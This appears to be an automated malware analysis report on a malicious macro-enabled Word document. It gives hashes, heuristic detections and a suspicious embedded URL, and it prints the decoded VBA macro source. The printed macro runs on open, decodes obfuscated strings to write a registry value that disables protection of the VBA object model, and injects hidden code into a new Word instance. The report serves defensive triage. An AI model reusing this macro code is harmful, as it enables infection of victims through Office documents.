Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f4551b63144c96b6…

MALICIOUS

Office (OOXML)

101.0 KB Created: 2021-04-28 04:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: 2d03a50d5e1df189b835365f26f8ced7 SHA-1: 4304a3399f1cab0a18845abcdd72ef4238c38ced SHA-256: f4551b63144c96b6f28acd7f2606f9de4ba3c3d23c67025437620387fae5e314
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    memWText.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString pasteButtonNamespace
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set loadArgumentProc = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gaze-baker2019.com/bijol/30829/qxmbPmbPLTBgcHiQBTvpV3XkF/pMcV1KQoZvQXFyiQUQMM2RoYUyJaRoSyKnsQTWwia3/Td4YVmd8BZgkL2LfL0Q6rP5E90A4I/6uKdYjL3nxZvo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2909 bytes
SHA-256: 09597e83c27eadbbb2b6bfa2b2374156cdc92c9569f9a7a4bce272f1fcb5b67a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{6E2167B8-B526-4AB6-BA69-1CCB021844C2}{316B6031-6956-4A00-B3D5-4E2F455B3ECE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lenA"
Sub autoopen()
sizeRepoScreen
Dim argumentMem As String
argumentMem = valueProcVar
responseLib argumentMem
End Sub

Attribute VB_Name = "namespaceReferenceReference"
Function screenSwap(tableIndexConst As String) As Variant
Dim loadArgumentProc As Object
Dim globalLocalRight As Object
Set loadArgumentProc = CreateObject("msxml2.domdocument")
Set globalLocalRight = loadArgumentProc.createElement("code")
globalLocalRight.DataType = "bin.base64"
globalLocalRight.Text = tableIndexConst
screenSwap = globalLocalRight.nodeTypedValue
End Function
Function swapSwapTemp(trustClassW, genericProcedure)
swapSwapTemp = StrConv(trustClassW, genericProcedure)
End Function

Attribute VB_Name = "captionRemoveGeneric"
Sub responseLib(pasteButtonNamespace As String)
Set bufferLoadNamespace = CreateObject("word.application")
Set memWText = bufferLoadNamespace.Documents.Add
memWText.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString pasteButtonNamespace
bufferLoadNamespace.Visible = False
bufferLoadNamespace.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "AGlobalTmp"
Function queryLenLink() As String
queryLenLink = Application.Version
End Function
Function libEx()
libEx = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function optionReference()
optionReference = "cript.sh"
End Function
Function removeButton()
removeButton = "VjdXJpdHlcQWN"
End Function
Sub sizeRepoScreen()
argumentProcClass = swapSwapTemp(screenSwap("SEtFWV9DVVJSR" & libEx & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
countListboxProcedure = queryLenLink
listMainPaste = swapSwapTemp(screenSwap("XFdvcmRcU2" & removeButton & "jZXNzVkJPTQ=="), vbUnicode)
ATrustData = argumentProcClass & countListboxProcedure & listMainPaste
With CreateObject("ws" & optionReference & "ell")
.RegWrite ATrustData, 1, "REG_DWORD"
End With
End Sub
Public Function viewMain(ByVal iteratorRepo As String) As String
For globalBufferVb = 1 To Len(iteratorRepo) Step 2
procedurePasteList = Chr$(Val("&H" & Mid$(iteratorRepo, globalBufferVb, 2)))
leftLinkQuery = leftLinkQuery & procedurePasteList
Next globalBufferVb
viewMain = leftLinkQuery
End Function
Function valueProcVar()
valueProcVar = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: d81ac8c79ee5cefd5d95b0b6eb70692d8b1f7bf958897537562ac773dc5ed19f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).